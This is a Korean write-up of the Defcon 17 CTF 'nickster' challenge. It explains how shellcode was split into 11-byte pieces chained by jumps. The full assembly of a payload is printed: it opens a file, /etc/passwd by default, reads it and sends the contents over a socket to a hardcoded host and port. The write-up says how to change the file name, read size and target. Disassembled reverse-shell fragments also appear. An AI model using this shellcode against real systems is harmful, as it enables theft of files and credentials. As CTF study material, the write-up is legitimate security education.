Defcon CTF 17th Nickster Report ShellCode

StolenByte(Son Choong-Ho)
http://StolenByte.egloos.com
thscndgh_4@hotmail.com
WOWHACKER
2009. 08. 11

이번 nicksterㄴ는 쉘코드가 대체적으로 많이 쓰는 리버스쉘이나 바이드쉘같은 것이 아닌 바로 key파일을 읽어서 서버로 쏴주는 쉘코드입니다.

리버스쉘이나 바이드쉘을 띄울 순 있겠지만, 문제의 특성상 띄우는 것이 쉽지 않았습니다.

쉘코드는 "Nick: %s, id = %d, reg time = %s" 중 Nick: %s의 %s에 들어가고 총 11byte의 쉘코드 밖에 들어가지 않는다고 설명드렸습니다.

그래서 11byte만큼의 쉘코드를 만들던지 아님 분산을 시켜 jmp로 연결하는방법이 필요했습니다.

Exploit을 제작할때는 jmp를 이용하여,

```
Nick: [shellcode][id 2로 점프], id = 1, reg time = ~~
Nick: [shellcode][id 3로 점프], id = 2, reg time = ~~
Nick: [shellcode][id 4로 점프], id = 3, reg time = ~~
....
```

이런식으로 어셈문장별로 조각을 내서 쉘코드를 입력했습니다.
그리고 쉘코드를 만들때도 문장별로 +jmp(계산된 jmp, 2byte) = 11byte가 넘지 않게 잘라야합니다.
그렇지 않으면 정상적으로 쉘코드를 넣을 수 없기 때문입니다.

그리고 왜 구지 리버스쉘이나 바이드쉘을 쓰지 않고 바로 key파일을 읽어오는 쉘코드를 사용했냐고 하면, 바로 stack상의 점프문과 콜문에 대한 연관성때문입니다.

아무래도 쉘코드를 잘라서 넣다보니 쉘코드내에 원래 존재하는 점프문이나 콜문은 exploit을 짤 때 다시 설정해줘야하는 어려움이 발생합니다.

Reverse_shell

```
08049500 <buf>:
    8049500:    23 32                   and    (%edx),%esi
    8049502:    59                      pop    %ecx
    8049503:    a3 a2 14 60 2e          mov    %eax,0x2e6014a2
    8049508:    20 bf ff ff 20 bf       and    %bh,0xbf20ffff(%edi)
    804950e:    ff                      (bad)
    804950f:    ff                      (bad)
    8049510:    7f ff                   jg     8049511 <buf+0x11>
    8049512:    ff                      (bad)
    8049513:    ff ea                   ljmp   *%edx
```

```
8049515:    03 e0                   add    %eax,%esp
8049517:    20 aa 9d 40 11 ea       and    %ch,0xea11409d(%edx)
804951d:    23 e0                   and    %eax,%esp
804951f:    20 a2 04 40 15 81       and    %ah,0x81154004(%edx)
8049525:    db e0                   feni(287 only)
8049527:    20 12                   and    %dl,(%edx)
8049529:    bf ff fb 9e 03          mov    $0x39efbff,%edi
804952e:    e0 04                   loopne 8049534 <buf+0x34>
...
```

위의 어셈코드는 리버스쉘의 일부인데, 일부 소스이지만 jg, loop 등등 다시 설정해줘야할것들이 많이 보입니다.

그래서 쉘을 따기보단 바로 key파일을 읽어오는 쉘코드를 사용했는데, 그 쉘코드는 점프나, 콜 같은 명령이 존재하지 않았습니다.

이 쉘코드는 Defcon 본선때 Silverbug(조주봉형님)께 배운것인데, 이미 milw0rm이나, metasploit 같은데서도 이러한 쉘코드 제작을 지원을 하는데(execute command 같은 쉘코드) 이번 nickster에 사용된 쉘코드의 출처는 milw0rm입니다.

http://milw0rm.com/exploits/6418

```
section .text
global _start

_start:
xor eax, eax
push byte 0x64
push word 0x7773
push 0x7361702f
push 0x6374652f    ;file to open (default:/etc/passwd)
mov ebx, esp
push eax
push ebx
mov al, 5          ;use: 'cat /usr/src/sys/kern/syscalls.master | grep *' to
get the right numbers
push eax
int 0x80           ;open()

mov ebx, eax       ;file descriptor to ebx
xor eax, eax       ;we should clean eax each time we return from int 0x80
xor ecx, ecx

mov cx, 3333       ;3333 bytes is probably enough
```

```
push ecx
mov esi, esp      ;put our data on the stack
push esi
push ebx
mov al, 3
push eax
int 0x80          ;read()

mov ebp, eax
xor eax, eax
mov al, 6
push ebx
push eax
int 0x80          ;close()

xor eax, eax
push eax
push byte 0x01
push byte 0x02
mov al, 97
push eax
int 0x80          ;socket()

mov edx, eax      ;socket descriptor to edx

push 0x2101a8c0   ;192.168.1.33, change IT!!!
push 0x401f02AA   ;port 8000
mov eax, esp

push byte 0x10
push eax
push edx
xor eax, eax
mov al, 98
push eax
int 0x80         ;connect()

xor eax, eax
push ebp
push esi         ;our buffer with data
push edx
mov al, 4
push eax
```

```
int 0x80          ;write()

xor eax, eax
inc eax
push eax
push eax
int 0x80          ;exit()
```

기본 소스자체는 리버스쉘이나 바이드쉘보다 사이즈가 큽니다.
그래서 버퍼를 적게 채워야하는 문제에는 적합한 쉘코드가 아닙니다.
그러나 nickster에는 딱 적합한 쉘코드가 되겠죠.

쉘코드를 짜라면 어렵게 보이겠지만, 파일 열고, 읽고, 소켓 열고, 서버와 연결, send, 종료
이렇게 이루어진 쉘코드입니다.

자신의 입맛대로 바꾸기 위해선

```
push byte 0x64
push word 0x7773
push 0x7361702f
push 0x6374652f    ;file to open (default:/etc/passwd
```

파일명 설정
(일반적인 문제 키파일같은경우에는 /home/id/key 이렇게 할 필요없이 key만 해도 되겠죠?)

```
mov cx, 3333       ;3333 bytes is probably enough
```

읽어올 사이즈
3333byte정도면 충분하다고 생각이 듭니다.

```
push 0x2101a8c0    ;192.168.1.33, change IT!!!
push 0x401f02AA    ;port 8000
```

Netcat같은걸로 서버를 열어놨다면 그 서버의 정보를 입력하면 되겠죠.

이렇게 셋팅을 하고 쉘코드를 만들게 되었습니다.

```
08049500 <shellcode>:
    8049500:    31 c0              xor    %eax,%eax
    8049502:    6a 79              push   $0x79
    8049504:    66 68 6b 65        pushw  $0x656b
    8049508:    eb 34              jmp    804953e
```

```
<shellcode+0x3e>
    804950a:        89 e3                   mov     %esp,%ebx
    804950c:        50                      push    %eax
    804950d:        53                      push    %ebx
    804950e:        eb 34                   jmp     8049544
<shellcode+0x44>
    8049510:        b0 05                   mov     $0x5,%al
    8049512:        50                      push    %eax
    8049513:        cd 80                   int     $0x80
    8049515:        89 c3                   mov     %eax,%ebx
    8049517:        31 c0                   xor     %eax,%eax
    8049519:        eb 34                   jmp     804954f <shellcode+0x4f>
    804951b:        31 c9                   xor     %ecx,%ecx
    804951d:        66 b9 05 0d             mov     $0xd05,%cx
    8049521:        51                      push    %ecx
    8049522:        89 e6                   mov     %esp,%esi
    8049524:        eb 34                   jmp     804955a
<shellcode+0x5a>
    …
```